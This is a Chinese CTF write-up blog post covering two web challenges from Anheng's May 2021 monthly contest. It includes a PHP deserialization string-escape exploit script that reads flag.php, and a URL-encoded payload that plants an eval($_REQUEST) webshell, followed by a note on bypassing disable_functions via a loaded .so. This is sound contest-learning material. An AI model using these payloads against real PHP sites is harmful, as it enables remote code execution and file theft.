Eki's blog Eki's blog
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)

Eki

Dreamer of Dreams
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)
  • 安恒五月月赛部分题解

    • Web1
      • Web2
      Eki
      2021-05-06
      CTF Contest
      目录

      安恒五月月赛部分题解

      # 安恒五月月赛部分题解

      # Web1

      read(write()) 变长逃逸

      Exp

      <?php
      #show_source("index.php");
      function write($data) {
          return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
      }
      
      function read($data) {
          return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
      }
      
      class A{
          public $username;
          public $password;
          function __construct($a, $b){
              $this->username = $a;
              $this->password = $b;
          }
      }
      
      class B{
          public $b = 'gqy';
          function __destruct(){
              $c = 'a'.$this->b;
              echo $c;
          }
      }
      
      class C{
          public $c;
          function __toString(){
              //flag.php
              echo file_get_contents($this->c);
              return 'nice';
          }
      }
      
      #$a = new A($_GET['a'],$_GET['b']);
      //省略了存储序列化数据的过程,下面是取出来并反序列化的操作
      #$b = unserialize(read(write(serialize($a))));
      
      $c = new C;
      $c->c = "flag.php";
      $b = new B;
      $b->b = $c;
      $a = new A('O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}',"233");
      $a->username = $b;
      echo serialize($b)."\n";
      echo "test".serialize($a)."\n";
      payload=';s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}';
      echo "1111".serialize(new A("233",$payload))."\n";
      ?>
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51

      # Web2

      第一步 sql格式化字符串注入

      第二步 addslash getshell

      <?php%20$option%3d'asd\';%20eval($_REQUEST[eki]);//;%20?>
      
      1

      第三步 加载个so,绕过disable_function

      编辑 (opens new window)
      上次更新: 2022/05/18, 16:49:51
      最近更新
      01
      QWB CTF2022 线下赛总决赛部分题解
      08-25
      02
      CISCN2022 总决赛部分题解
      08-25
      03
      DSCTF2022决赛 部分writeup
      08-08
      更多文章>
      Theme by Vdoing | Copyright © 2019-2022 EkiXu | Creative Commons License
      This work is licensed under a Creative Commons Attribution 4.0 International License.
      • 跟随系统
      • 浅色模式
      • 深色模式
      • 阅读模式